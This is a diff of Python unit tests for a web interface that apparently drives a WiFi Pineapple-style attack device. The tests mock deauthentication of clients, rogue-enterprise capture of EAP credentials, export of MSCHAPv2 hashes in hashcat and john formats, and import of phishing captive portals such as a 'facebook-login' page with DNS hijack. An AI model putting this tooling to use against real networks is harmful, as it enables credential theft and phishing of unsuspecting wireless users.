+        self.assertEqual(mk8_profiles.list_profiles(), ['good'])
+
+if __name__ == '__main__':
+    unittest.main()

tests/test_mk8_rfplan.py

@@ -0,0 +1,327 @@
+import os, sys, unittest
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload',
+                                'user', 'remote_access', 'pager-webui'))
+import importlib
+import server
+import mk8_rfplan
+
+
+def setUpModule():
+    importlib.reload(server)
+
+
+class CtxStub(object):
+    def __init__(self, body=None):
+        self.body = body or {}
+
+
+class RfPlanTest(unittest.TestCase):
+    def setUp(self):
+        self.runs = []
+        self.seq = []
+        self.paused = 0
+        self.resumed = 0
+        self.sleeps = []
+        self.uci_show = {}
+        self.gets = {}
+        self.iw_fail_left = 0
+        self._old = (server.device_run, server._pause_hop,
+                     server._resume_hop, server._read_hop,
+                     mk8_rfplan.time.sleep)
+
+        def fake_get(key):
+            if key == 'pineapd.wlan1mon.hop':
+                return 0, '0\n', ''
+            return self.gets.get(key, (1, '', 'entry not found'))
+
+        def fake_run(args, timeout=20, input_data=None):
+            args = list(args)
+            self.seq.append('cmd:' + ' '.join(str(a) for a in args))
+            self.runs.append((args, timeout))
+            if args == ['iw', 'dev']:
+                # interface enumeration: radio1 STA comes up as phy1-sta0
+                return 0, ('Interface wlan1mon\n'
+                           '\ttype monitor\n'
+                           'Interface phy1-sta0\n'
+                           '\ttype managed\n'), ''
+            if args[0] == 'readlink' and 'phy80211' in args[1]:
+                return 0, '../../devices/platform/usb/phy1\n', ''
+            if args[0] == 'iw':
+                # iw dev <iface> link
+                if self.iw_fail_left > 0:
+                    self.iw_fail_left -= 1
+                    return 0, 'Not connected.\n', ''
+                return 0, ('Connected to aa:bb:cc:dd:ee:ff (on wlan1up)\n'
+                           '\tSSID: Net\n'), ''
+            if args[:2] == ['uci', 'show']:
+                cfg = self.uci_show.get(args[2])
+                if cfg is None:
+                    return 1, '', 'entry not found'
+                out = ''.join("%s.%s='%s'\n" % (args[2], k, v)
+                              for k, v in sorted(cfg.items()))
+                return 0, out, ''
+            if args[0] == 'uci' and args[1] == '-q':
+                return fake_get(args[3])
+            if args[:2] == ['uci', 'get']:
+                return fake_get(args[2])
+            return 0, '', ''
+
+        def fake_pause():
+            self.paused += 1
+            self.seq.append('pause')
+
+        def fake_resume():
+            self.resumed += 1
+            self.seq.append('resume')
+
+        server.device_run = fake_run
+        server._pause_hop = fake_pause
+        server._resume_hop = fake_resume
+        server._read_hop = lambda: '0'
+        mk8_rfplan.time.sleep = lambda s: self.sleeps.append(s)
+
+    def tearDown(self):
+        (server.device_run, server._pause_hop,
+         server._resume_hop, server._read_hop,
+         mk8_rfplan.time.sleep) = self._old
+
+    @property
+    def cmds(self):
+        return [s[len('cmd:'):] for s in self.seq if s.startswith('cmd:')]
+
+    def mutations(self):
+        return [c for c in self.cmds
+                if c.startswith(('uci set', 'uci commit'))]
+
+    def test_current_role_reads_uci(self):
+        cases = [
+            ({'mode': 'sta', 'disabled': '0'}, 'uplink'),
+            ({'mode': 'sta', 'disabled': '1'}, 'idle'),
+            ({'mode': 'ap'}, 'idle'),
+            ({}, 'idle'),
+        ]
+        for cfg, want in cases:
+            self.uci_show.clear()
+            self.uci_show['wireless.wlan1up'] = cfg
+            self.assertEqual(mk8_rfplan.current_role(), want, cfg)
+        self.uci_show.clear()
+        self.assertEqual(mk8_rfplan.current_role(), 'idle')
+
+    def test_uplink_sets_sta_section_and_pauses_hop(self):
+        result = mk8_rfplan.set_role('uplink', ssid='Net', psk='key')
+        self.assertTrue(result.get('ok'), result)
+        cmds = self.cmds
+        for expected in (
+                'uci set wireless.wlan1up=wifi-iface',
+                'uci set wireless.wlan1up.device=radio1',
+                'uci set wireless.wlan1up.mode=sta',
+                'uci set wireless.wlan1up.network=cli',
+                'uci set wireless.wlan1up.ssid=Net',
+                'uci set wireless.wlan1up.encryption=sae-mixed',
+                'uci set wireless.wlan1up.key=key',
+                'uci set wireless.wlan1up.disabled=0',
+                'uci set network.cli=interface',
+                'uci set network.cli.proto=dhcp',
+                'uci commit network'):
+            self.assertIn(expected, cmds)
+        commit_net = cmds.index('uci commit network')
+        commit_wireless = cmds.index('uci commit wireless')
+        for c in ('uci set wireless.wlan1up.mode=sta',
+                  'uci set wireless.wlan1up.disabled=0',
+                  'uci set network.cli=interface',
+                  'uci set network.cli.proto=dhcp'):
+            self.assertLess(cmds.index(c), commit_net)
+        self.assertLess(commit_net, cmds.index('uci commit wireless'))
+        self.assertLess(commit_wireless, cmds.index('wifi reload'))
+        self.assertEqual(self.paused, 1)
+        self.assertLess(self.seq.index('pause'),
+                        self.seq.index('cmd:wifi reload'))
+        self.assertEqual(result['assoc'], 'aa:bb:cc:dd:ee:ff')
+
+    def test_uplink_enables_present_but_disabled_cli_network(self):
+        self.gets['network.cli'] = (0, 'interface\n', '')
+        self.gets['network.cli.disabled'] = (0, '1\n', '')
+        result = mk8_rfplan.set_role('uplink', ssid='Net')
+        self.assertTrue(result.get('ok'), result)
+        cmds = self.cmds
+        self.assertIn('uci set network.cli.disabled=0', cmds)
+        self.assertIn('uci commit network', cmds)
+        self.assertNotIn('uci set network.cli=interface', cmds)
+
+    def test_assoc_poll_succeeds_on_third_attempt(self):
+        self.iw_fail_left = 2
+        result = mk8_rfplan.set_role('uplink', ssid='Net')
+        self.assertTrue(result.get('ok'), result)
+        self.assertEqual(result['assoc'], 'aa:bb:cc:dd:ee:ff')
+        self.assertEqual(len(self.sleeps), 3)
+        iw_calls = [c for c in self.cmds
+                    if c.startswith('iw dev phy1-sta0 link')]
+        self.assertEqual(len(iw_calls), 3)
+
+    def test_assoc_poll_exhaustion_reverts_uplink(self):
+        self.iw_fail_left = 99
+        result = mk8_rfplan.set_role('uplink', ssid='Net')
+        self.assertFalse(result['ok'])
+        self.assertIn('association failed', result['error'])
+        self.assertEqual(len(self.sleeps), 5)
+        self.assertIn('uci set wireless.wlan1up.disabled=1', self.cmds)
+        self.assertEqual(self.resumed, 1)
+        # Revert must converge runtime like the idle branch: a wifi reload
+        # after the STA disable, with hop resumed only after the reload.
+        cmds = self.cmds
+        reloads = [i for i, c in enumerate(cmds) if c == 'wifi reload']
+        self.assertEqual(len(reloads), 2, cmds)
+        disable_set = cmds.index('uci set wireless.wlan1up.disabled=1')
+        last_commit = len(cmds) - 1 - cmds[::-1].index('uci commit wireless')
+        resume_idx = self.seq.index('resume')
+        self.assertLess(disable_set, last_commit)
+        self.assertLess(last_commit, reloads[-1])
+        self.assertLess(reloads[-1], resume_idx)
+        # cmds[i] maps 1:1 onto self.runs[i]; revert reload must be gated.
+        self.assertEqual(self.runs[reloads[-1]], (['wifi', 'reload'], 60))
+
+    def test_set_role_uplink_requires_ssid(self):
+        result = mk8_rfplan.set_role('uplink')
+        self.assertFalse(result['ok'])
+        self.assertIn('ssid', result['error'])
+        self.assertEqual(self.mutations(), [])
+        self.assertEqual(self.paused, 0)
+
+    def test_idle_reloads_so_sta_disassociates_now(self):
+        self.uci_show['wireless.wlan1up'] = {'mode': 'sta', 'disabled': '0'}
+        result = mk8_rfplan.set_role('idle')
+        self.assertTrue(result.get('ok'), result)
+        self.assertIn('uci set wireless.wlan1up.disabled=1', self.cmds)
+        self.assertIn('wifi reload', self.cmds)
+        self.assertEqual(self.resumed, 1)
+
+    def test_exclusivity_switch(self):
+        self.uci_show['wireless.wlan1up'] = {'mode': 'ap'}
+        mk8_rfplan.ensure_attack()
+        self.assertEqual(self.mutations(), [])
+        self.assertEqual(self.resumed, 0)
+        self.assertEqual(self.paused, 0)
+        self.uci_show['wireless.wlan1up'] = {'mode': 'sta', 'disabled': '0'}
+        mk8_rfplan.ensure_attack()
+        cmds = self.cmds
+        self.assertIn('uci set wireless.wlan1up.disabled=1', cmds)
+        self.assertIn('uci commit wireless', cmds)
+        self.assertEqual(self.resumed, 1)
+
+    def test_hop_paused_helper(self):
+        self.assertTrue(mk8_rfplan.hop_paused())
+        server._read_hop = lambda: None
+        self.assertFalse(mk8_rfplan.hop_paused())
+        server._read_hop = lambda: '1'
+        self.assertFalse(mk8_rfplan.hop_paused())
+
+    def test_h_rfplan_get_and_post(self):
+        self.uci_show['wireless.wlan1up'] = {'mode': 'sta', 'disabled': '0'}
+        status, data = server.h_rfplan_get(CtxStub())
+        self.assertEqual(status, 200)
+        self.assertEqual(data['role'], 'uplink')
+        self.assertEqual(data['assoc'], 'aa:bb:cc:dd:ee:ff')
+        self.assertTrue(data['hop_paused'])
+        status, data = server.h_rfplan_post(CtxStub({'role': 'nope'}))
+        self.assertEqual(status, 400)
+        status, data = server.h_rfplan_post(CtxStub({'role': 'idle'}))
+        self.assertEqual(status, 200)
+        self.assertEqual(data['role'], 'idle')
+
+    def test_ensure_attack_wired_into_attacks_deploy(self):
+        calls = []
+
+        def fake_set_role(role, ssid=None, psk=None):
+            calls.append(role)
+            return {'ok': True, 'role': role}
+
+        self._patch_rfplan(lambda: 'uplink', fake_set_role)
+        old_dep = server._deploy_wpa_open
+        old_state = server.update_pineap_state
+        server._deploy_wpa_open = lambda kind, body: {}
+        server.update_pineap_state = lambda *a, **kw: {}
+        try:
+            status, payload = server.h_attacks_deploy(
+                CtxStub({'kind': 'wpa'}))
+        finally:
+            self._unpatch_rfplan()
+            server._deploy_wpa_open = old_dep
+            server.update_pineap_state = old_state
+        self.assertEqual(status, 200)
+        self.assertEqual(calls, ['attack'])
+
+    def test_attacks_deploy_skips_switch_when_not_uplink(self):
+        calls = []
+
+        def fake_set_role(role, ssid=None, psk=None):
+            calls.append(role)
+            return {'ok': True}
+
+        self._patch_rfplan(lambda: 'idle', fake_set_role)
+        old_dep = server._deploy_wpa_open
+        old_state = server.update_pineap_state
+        server._deploy_wpa_open = lambda kind, body: {}
+        server.update_pineap_state = lambda *a, **kw: {}
+        try:
+            status, _ = server.h_attacks_deploy(CtxStub({'kind': 'wpa'}))
+        finally:
+            self._unpatch_rfplan()
+            server._deploy_wpa_open = old_dep
+            server.update_pineap_state = old_state
+        self.assertEqual(status, 200)
+        self.assertEqual(calls, [])
+
+    def test_ensure_attack_wired_into_radio1_ap_request(self):
+        calls = []
+
+        def fake_set_role(role, ssid=None, psk=None):
+            calls.append(role)
+            return {'ok': True, 'role': role}
+
+        self._patch_rfplan(lambda: 'uplink', fake_set_role)
+        try:
+            status, payload = server.h_pineap_wifi_set_ap(
+                CtxStub({'open': {'enabled': False, 'channel': 36}}))
+        finally:
+            self._unpatch_rfplan()
+        self.assertEqual(status, 200)
+        self.assertEqual(calls, ['attack'])
+
+    def _patch_rfplan(self, current_role, set_role):
+        self._rf_old = (mk8_rfplan.current_role, mk8_rfplan.set_role)
+        mk8_rfplan.current_role = current_role
+        mk8_rfplan.set_role = set_role
+
+    def _unpatch_rfplan(self):
+        mk8_rfplan.current_role, mk8_rfplan.set_role = self._rf_old
+
+
+if __name__ == '__main__':
+    unittest.main()
+
+
+class PskModeChainTest(RfPlanTest):
+    def test_chain_tries_next_mode_on_failure(self):
+        # first mode (sae-mixed) never associates; second (sae) does
+        self.iw_fail_left = 5  # fail all link polls of attempt 1
+        result = mk8_rfplan.set_role('uplink', ssid='Net', psk='secret')
+        self.assertTrue(result['ok'], result)
+        self.assertEqual(result['mode'], 'sae')
+        reloads = [c for c in self.cmds if c.startswith('wifi reload')]
+        self.assertEqual(len(reloads), 2)
+
+    def test_chain_exhaustion_reports_modes(self):
+        self.iw_fail_left = 99
+        result = mk8_rfplan.set_role('uplink', ssid='Net', psk='secret')
+        self.assertFalse(result['ok'])
+        self.assertEqual(result['tried_modes'],
+                         ['sae-mixed', 'sae', 'psk2'])
+
+    def test_first_mode_success_records_mode(self):
+        result = mk8_rfplan.set_role('uplink', ssid='Net', psk='secret')
+        self.assertTrue(result['ok'])
+        self.assertEqual(result['mode'], 'sae-mixed')
+        self.assertIn('uci set wireless.wlan1up.ieee80211w=1', self.cmds)
+
+if __name__ == '__main__':
+    unittest.main()

tests/test_pineap_bands.py

@@ -345,20 +345,24 @@ class GetApReconcileTest(unittest.TestCase):
             404, {'error': 'not found'})
         server.device_run = lambda args, timeout=20, input_data=None: (
             self.runs.append(list(args)) or (0, '', ''))
+        self._real_exists = os.path.exists
+
+    def tearDown(self):
+        os.path.exists = self._real_exists
 
     def test_missing_netdev_triggers_wifi_reload(self):
-        server.os.path.exists = lambda p: False
+        os.path.exists = lambda p: False
         server.h_pineap_wifi_get_ap(ctx())
         self.assertIn(['wifi', 'reload'], self.runs)
 
     def test_present_netdev_skips_reload(self):
-        server.os.path.exists = lambda p: True
+        os.path.exists = lambda p: True
         server.h_pineap_wifi_get_ap(ctx())
         self.assertNotIn(['wifi', 'reload'], self.runs)
 
     def test_disabled_section_skips_reload(self):
         self.uci['wlan1wpa']['disabled'] = '1'
-        server.os.path.exists = lambda p: False
+        os.path.exists = lambda p: False
         server.h_pineap_wifi_get_ap(ctx())
         self.assertNotIn(['wifi', 'reload'], self.runs)
 

tests/test_pineap_clients.py

@@ -55,7 +55,7 @@ class ClientsTest(unittest.TestCase):
         server.h_client_kick(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
         self.assertIn([server.HAK5CMD, 'PINEAPPLE_DEVICE_FILTER_ADD', 'deny', '00:11:22:33:44:55'], calls)
         # The immediate deauth must use the full bssid/target/channel form.
-        self.assertTrue(any(c[:4] == [server.HAK5CMD, 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
+        self.assertTrue(any(c[:4] == [server.HAK5CMD, 'PINEAPPLE_DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
                                       '00:11:22:33:44:55'] and c[4] == '6' for c in calls))
 
     def test_kick_not_associated_still_filters(self):
@@ -86,7 +86,7 @@ class ClientsTest(unittest.TestCase):
         status, payload = server.h_deauth_client(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
         self.assertEqual(status, 200)
         # 5 GHz client -> wlan1mon inject, no _pineap pin needed.
-        self.assertTrue(any(c[:4] == [server.HAK5CMD, 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
+        self.assertTrue(any(c[:4] == [server.HAK5CMD, 'PINEAPPLE_DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
                                       '00:11:22:33:44:55'] and c[4] == '149' for c in calls))
 
     def test_deauth_client_not_associated_502(self):

tests/test_pineap_enterprise.py

@@ -1,5 +1,8 @@
+import json
 import os
+import sqlite3
 import sys
+import tempfile
 import unittest
 
 sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
@@ -10,34 +13,217 @@ def setUpModule():
     __import__('importlib').reload(server)
 
 
-class EnterpriseTest(unittest.TestCase):
+SCHEMA = '''
+CREATE TABLE hostap_basic(id INTEGER PRIMARY KEY, scan INT, time INT, type TEXT,
+                          identity TEXT, password TEXT, verified INT NOT NULL DEFAULT 0);
+CREATE TABLE hostap_chalresp(id INTEGER PRIMARY KEY, scan INT, time INT, type TEXT,
+                             username TEXT, challenge BLOB, response BLOB,
+                             verified INT NOT NULL DEFAULT 0);
+CREATE TABLE hostap_client(id INTEGER PRIMARY KEY, scan INT, hash INT, mac TEXT, ssid BLOB,
+                           connected_time INT, disconnected_time INT);
+'''
+
+
+class EnterpriseApiTest(unittest.TestCase):
+    def setUp(self):
+        self._orig_rows = server._db_rows
+        self._orig_write = server._db_write
+
+    def tearDown(self):
+        server._db_rows = self._orig_rows
+        server._db_write = self._orig_write
+
     def test_basic_rows(self):
         server._db_rows = lambda db, sql: [{'time': 1, 'username': 'a', 'password': 'b'}]
         status, payload = server.h_enterprise_data(type('C', (), {'args': ('basic',)})())
         self.assertEqual(status, 200)
+        self.assertEqual(payload['table'], 'hostap_basic')
         self.assertEqual(payload['rows'][0]['username'], 'a')
+        self.assertEqual(payload['rows'][0]['identity'], 'a')
 
-    def test_challenge_rows(self):
+    def test_challenge_rows_empty(self):
         server._db_rows = lambda db, sql: []
         status, payload = server.h_enterprise_data(type('C', (), {'args': ('challenge',)})())
         self.assertEqual(status, 200)
+        self.assertEqual(payload['table'], 'hostap_chalresp')
         self.assertEqual(payload['rows'], [])
 
     def test_unknown_table(self):
         status, payload = server.h_enterprise_data(type('C', (), {'args': ('nope',)})())
         self.assertEqual(status, 400)
 
-    def test_clear(self):
+    def test_clear_uses_chalresp_table(self):
         calls = []
         server._db_write = lambda db, sql: calls.append(sql)
         status, payload = server.h_enterprise_clear(type('C', (), {'body': {'table': 'challenge'}})())
         self.assertEqual(status, 200)
-        self.assertTrue(any('hostap_challenge' in s for s in calls))
+        self.assertTrue(any('hostap_chalresp' in s for s in calls))
+        self.assertFalse(any('hostap_challenge' in s for s in calls))
+
+    def test_clear_all(self):
+        calls = []
+        server._db_write = lambda db, sql: calls.append(sql)
+        status, payload = server.h_enterprise_clear(type('C', (), {'body': {'table': 'all'}})())
+        self.assertEqual(status, 200)
+        joined = ' '.join(calls)
+        self.assertIn('hostap_basic', joined)
+        self.assertIn('hostap_chalresp', joined)
 
     def test_clear_unknown_table(self):
         status, payload = server.h_enterprise_clear(type('C', (), {'body': {'table': 'nope'}})())
         self.assertEqual(status, 400)
 
 
+class EnterpriseHashFormatTest(unittest.TestCase):
+    def test_blob_to_hex_bytes_and_hex_string(self):
+        self.assertEqual(server._blob_to_hex(b'\x11\x22\x33\x44'), '11223344')
+        self.assertEqual(server._blob_to_hex('AABBCCDD'), 'aabbccdd')
+        self.assertEqual(server._blob_to_hex("X'AABB'"), 'aabb')
+        self.assertEqual(server._blob_to_hex('\\xde\\xad'), 'dead')
+
+    def test_hashcat_5500_and_john(self):
+        chal = '1122334455667788'
+        resp = '00112233445566778899aabbccddeeff0011223344556677'
+        self.assertEqual(
+            server._mschap_hashcat_5500('bob', chal, resp),
+            'bob::::00112233445566778899aabbccddeeff0011223344556677:1122334455667788')
+        self.assertEqual(
+            server._mschap_john('bob', chal, resp),
+            'bob:$NETNTLM$1122334455667788$00112233445566778899aabbccddeeff0011223344556677')
+
+    def test_format_chalresp_row_hexes_blobs_and_is_json_safe(self):
+        row = server._format_chalresp_row({
+            'time': 1700000000,
+            'username': 'alice',
+            'type': 'MSCHAPV2',
+            'challenge': bytes.fromhex('1122334455667788'),
+            'response': bytes.fromhex('00112233445566778899aabbccddeeff0011223344556677'),
+            'verified': 0,
+        })
+        self.assertEqual(row['challenge'], '1122334455667788')
+        self.assertEqual(row['response'], '00112233445566778899aabbccddeeff0011223344556677')
+        self.assertIn('alice::::', row['hashcat'])
+        self.assertIn(':$NETNTLM$', row['john'])
+        json.dumps(row)
+
+
+class EnterpriseLogParseTest(unittest.TestCase):
+    def test_parse_wpe_mschapv2_and_identity(self):
+        log = (
+            "mschapv2: Wed Aug 19 21:00:00 2026\n"
+            "        username: bob\n"
+            "        challenge: 11:22:33:44:55:66:77:88\n"
+            "        response: 00112233445566778899aabbccddeeff0011223344556677\n"
+            "hashcat NETNTLM: bob::::00112233445566778899aabbccddeeff0011223344556677:1122334455667788\n"
+            "EAP-Identity 'alice@corp.local'\n"
+            "GTC: username: carol password: hunter2\n"
+        )
+        items = server._parse_ent_log(log)
+        kinds = [i['kind'] for i in items]
+        self.assertIn('mschapv2', kinds)
+        self.assertIn('eap-identity', kinds)
+        self.assertIn('gtc', kinds)
+        mschap = [i for i in items if i['kind'] == 'mschapv2'][0]
+        self.assertEqual(mschap['username'], 'bob')
+        self.assertIn('bob::::', mschap['hashcat'])
+        gtc = [i for i in items if i['kind'] == 'gtc'][0]
+        self.assertEqual(gtc['password'], 'hunter2')
+
+
+class EnterpriseCaptureDbTest(unittest.TestCase):
+    def setUp(self):
+        fd, self.db = tempfile.mkstemp(suffix='.db')
+        os.close(fd)
+        conn = sqlite3.connect(self.db)
+        conn.executescript(SCHEMA)
+        chal = bytes.fromhex('1122334455667788')
+        resp = bytes.fromhex('00112233445566778899aabbccddeeff0011223344556677')
+        conn.execute(
+            "INSERT INTO hostap_basic (id, scan, time, type, identity, password, verified) "
+            "VALUES (1, 1, 1700000001, 'PEAP', 'bob', '', 0)")
+        conn.execute(
+            "INSERT INTO hostap_chalresp (id, scan, time, type, username, challenge, response, verified) "
+            "VALUES (1, 1, 1700000002, 'MSCHAPV2', 'bob', ?, ?, 0)", (chal, resp))
+        conn.execute(
+            "INSERT INTO hostap_client (id, scan, hash, mac, ssid, connected_time, disconnected_time) "
+            "VALUES (1, 1, 1, 'AABBCCDDEEFF', X'436F7270', 1700000003, NULL)")
+        conn.commit()
+        conn.close()
+        self.old_db = server.RECON_DB
+        server.RECON_DB = self.db
+
+    def tearDown(self):
+        server.RECON_DB = self.old_db
+        try:
+            os.unlink(self.db)
+        except OSError:
+            pass
+
+    def test_challenge_endpoint_returns_hashcat(self):
+        status, payload = server.h_enterprise_data(type('C', (), {'args': ('challenge',)})())
+        self.assertEqual(status, 200)
+        self.assertEqual(payload['table'], 'hostap_chalresp')
+        row = payload['rows'][0]
+        self.assertEqual(row['username'], 'bob')
+        self.assertEqual(row['challenge'], '1122334455667788')
+        self.assertEqual(
+            row['hashcat'],
+            'bob::::00112233445566778899aabbccddeeff0011223344556677:1122334455667788')
+        json.dumps(payload, default=server._json_default)
+
+    def test_radius_payload_unifies_captures(self):
+        status, payload = server.h_enterprise_radius(type('C', (), {'args': ()})())
+        self.assertEqual(status, 200)
+        self.assertTrue(payload['note'])
+        kinds = [c['kind'] for c in payload['captures']]
+        self.assertIn('eap-identity', kinds)
+        self.assertIn('mschapv2', kinds)
+        self.assertEqual(payload['hashcat']['mode'], 5500)
+        self.assertEqual(len(payload['hashcat']['lines']), 1)
+        self.assertEqual(payload['clients'][0]['ssid'], 'Corp')
+
+    def test_export_hashcat_download(self):
+        status, payload = server.h_enterprise_export(type('C', (), {'args': ('hashcat',)})())
+        self.assertEqual(status, 200)
+        self.assertIsInstance(payload, server.Download)
+        self.assertIn(b'bob::::', payload.data)
+        self.assertTrue(payload.filename.endswith('.5500'))
+
+    def test_export_john_and_json(self):
+        status, payload = server.h_enterprise_export(type('C', (), {'args': ('john',)})())
+        self.assertEqual(status, 200)
+        self.assertIn(b'$NETNTLM$', payload.data)
+        status, payload = server.h_enterprise_export(type('C', (), {'args': ('json',)})())
+        self.assertEqual(status, 200)
+        body = json.loads(payload.data.decode('utf-8'))
+        self.assertEqual(body['hashcat']['mode'], 5500)
+
+
+class EnterpriseHarvestTest(unittest.TestCase):
+    def test_harvest_reads_hostapd_file_and_skips_logread(self):
+        calls = []
+        fd, log_path = tempfile.mkstemp()
+        os.write(fd, b"EAP-Identity 'fromfile'\n")
+        os.close(fd)
+        cap_path = log_path + '.json'
+        old_log, old_cap = server.ENT_LOG, server.ENT_CAPTURES
+        old_run = server.device_run
+        server.ENT_LOG = log_path
+        server.ENT_CAPTURES = cap_path
+        server.device_run = lambda args, timeout=20, input_data=None: (
+            calls.append(list(args)) or (0, "identity: 'syslog-user'\n", ''))
+        try:
+            items = server._harvest_ent_log()
+            self.assertTrue(any(item.get('username') == 'fromfile' for item in items))
+            self.assertFalse(any(args and args[0] == 'logread' for args in calls))
+        finally:
+            server.ENT_LOG = old_log
+            server.ENT_CAPTURES = old_cap
+            server.device_run = old_run
+            os.unlink(log_path)
+            if os.path.exists(cap_path):
+                os.unlink(cap_path)
+
+
 if __name__ == '__main__':
     unittest.main()

tests/test_pineap_pool.py

@@ -53,7 +53,7 @@ class SsidPoolHandlersTest(unittest.TestCase):
         server.h_ssids_post(type('C', (), {'args': (), 'body': {'action': 'add', 'ssid': 'NewNet'}})())
         self.assertTrue(any(c[0] == 'PINEAPPLE_SSID_POOL_ADD' for c in calls))
 
-    def test_advertise_routes(self):
+    def test_advertise_enable_is_blocked(self):
         calls = []
 
         def fake(method, path, body=None, timeout=10):
@@ -61,10 +61,11 @@ class SsidPoolHandlersTest(unittest.TestCase):
             return (200, {'success': True})
 
         server.daemon_sock_call = fake
-        server.h_pineap_advertise(type('C', (), {'body': {'enable': True}})())
+        status, payload = server.h_pineap_advertise(type('C', (), {'body': {'enable': True}})())
+        self.assertEqual(status, 400)
+        self.assertEqual(calls, [])
         server.h_pineap_advertise(type('C', (), {'body': {'enable': False}})())
-        self.assertEqual(calls, [('/api/pineap/ssidpool/enable', {'enable': True}),
-                                 ('/api/pineap/ssidpool/disable', {'enable': False})])
+        self.assertEqual(calls, [('/api/pineap/ssidpool/disable', {'enable': False})])
 
     def test_collect_routes(self):
         calls = []

tests/test_pineap_proxy.py

@@ -144,6 +144,7 @@ class PineapProxyTest(unittest.TestCase):
         self.assertEqual(payload['enterprise']['enabled'], False)
         self.assertEqual(payload['enterprise']['ssid'], '')
         self.assertEqual(payload['pool']['collecting'], True)
+        self.assertTrue(payload['pool']['broadcast_blocked'])
         self.assertEqual(payload['radios']['radio0']['band'], '2.4')
         self.assertEqual(payload['radios']['radio1']['channel'], 'auto')
         self.assertEqual(payload['pineape']['enabled'], True)
@@ -261,6 +262,32 @@ class PineapFilterTest(unittest.TestCase):
             [server.HAK5CMD, 'PINEAPPLE_NETWORK_FILTER_CLEAR', 'deny'],
             [server.HAK5CMD, 'PINEAPPLE_NETWORK_FILTER_MODE', 'deny']])
 
+    def test_filter_get_falls_back_to_hak5cmd_when_daemon_is_down(self):
+        server.daemon_sock_call = lambda method, path, body=None, timeout=10: (0, None)
+
+        def fake(args, timeout=20, input_data=None):
+            cmd = args[1] if len(args) > 1 else ''
+            if cmd.endswith('_MODE'):
+                return (0, 'deny\n', '')
+            if cmd.endswith('_LIST'):
+                return (0, 'AA:BB:CC:DD:EE:FF\n', '')
+            return (0, '', '')
+
+        server.device_run = fake
+        status, payload = server.h_filter_get(ctx(), 'client')
+        self.assertEqual(status, 200)
+        self.assertEqual(payload['mode'], 'deny')
+        self.assertEqual(payload['entries'], ['AA:BB:CC:DD:EE:FF'])
+        self.assertEqual(payload['source'], 'hak5cmd')
+
+    def test_filter_get_returns_empty_list_when_everything_is_down(self):
+        server.daemon_sock_call = lambda method, path, body=None, timeout=10: (0, None)
+        server.device_run = lambda args, timeout=20, input_data=None: (1, '', 'refused')
+        status, payload = server.h_filter_get(ctx(), 'ssid')
+        self.assertEqual(status, 200)
+        self.assertEqual(payload['entries'], [])
+        self.assertIn('error', payload)
+
 
 if __name__ == '__main__':
     unittest.main()

tests/test_portals.py

@@ -0,0 +1,253 @@
+import base64
+import io
+import json
+import os
+import shutil
+import sys
+import tempfile
+import unittest
+import zipfile
+
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
+import server
+
+
+def setUpModule():
+    __import__('importlib').reload(server)
+
+
+def ctx(body=None, args=(), query=None):
+    return type('C', (), {'body': body or {}, 'args': args,
+                          'query': query or {}})()
+
+
+def make_zip(files, top_dir=None):
+    buf = io.BytesIO()
+    with zipfile.ZipFile(buf, 'w') as zf:
+        for name, data in files.items():
+            zf.writestr((top_dir + '/' if top_dir else '') + name, data)
+    return buf.getvalue()
+
+
+INDEX_PHP = (b"<?php\n$destination = 'x';\nrequire_once('helper.php');\n?>\n"
+             b'<html><form method="post" action="/captiveportal/index.php">'
+             b'<input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER[\'REMOTE_ADDR\']);?>">'
+             b'<input type="hidden" name="mac" value="<?=getClientMac($_SERVER[\'REMOTE_ADDR\']);?>">'
+             b'<input type="hidden" name="ip" value="<?=$_SERVER[\'REMOTE_ADDR\'];?>">'
+             b'<input type="hidden" name="target" value="<?=$destination?>">'
+             b'<input name="email"></form></html>')
+META_EP = json.dumps({'name': 'facebook-login', 'type': 'basic'}).encode()
+
+
+class PortalsTest(unittest.TestCase):
+    def setUp(self):
+        self.tmp = tempfile.mkdtemp(prefix='mk8-portals-test-')
+        self.old = (server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE,
+                    server.PORTAL_CAPTURES_FILE)
+        server.PORTALS_DIR = self.tmp
+        server.PORTAL_ACTIVE_FILE = os.path.join(self.tmp, '.active')
+        server.PORTAL_CAPTURES_FILE = os.path.join(self.tmp, 'captures.jsonl')
+        server._portal_set_active(None)
+        self.hijacks = []
+        server._portal_dns_hijack = (
+            lambda enable: self.hijacks.append(enable))
+
+    def tearDown(self):
+        server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE, \
+            server.PORTAL_CAPTURES_FILE = self.old
+        shutil.rmtree(self.tmp, ignore_errors=True)
+
+    # ---- import ----
+
+    def test_import_flat_zip(self):
+        status, payload = server.h_portals_import(ctx({
+            'name': 'my-portal',
+            'data': base64.b64encode(make_zip({
+                'index.php': INDEX_PHP, 'assets/style.css': b'body{}'})).decode()}))
+        self.assertEqual(status, 200)
+        self.assertEqual(payload['name'], 'my-portal')
+        root = os.path.join(self.tmp, 'my-portal')
+        self.assertTrue(os.path.isfile(os.path.join(root, 'index.php')))
+        self.assertTrue(os.path.isfile(os.path.join(root, 'assets', 'style.css')))
+
+    def test_import_nested_top_dir_flattens_and_uses_ep_name(self):
+        status, payload = server.h_portals_import(ctx({
+            'data': base64.b64encode(make_zip({
+                'index.php': INDEX_PHP, 'MyPortal.php': b'<?php ?>',
+                'facebook-login.ep': META_EP},
+                top_dir='facebook-login')).decode()}))
+        self.assertEqual(status, 200)
+        self.assertEqual(payload['name'], 'facebook-login')
+        root = os.path.join(self.tmp, 'facebook-login')
+        self.assertTrue(os.path.isfile(os.path.join(root, 'index.php')))
+        self.assertFalse(os.path.isdir(os.path.join(root, 'facebook-login')))
+
+    def test_import_rejects_missing_index_php(self):
+        status, payload = server.h_portals_import(ctx({
+            'name': 'bad', 'data': base64.b64encode(make_zip(
+                {'only.css': b'body{}'})).decode()}))
+        self.assertEqual(status, 400)
+
+    def test_import_rejects_zip_slip(self):
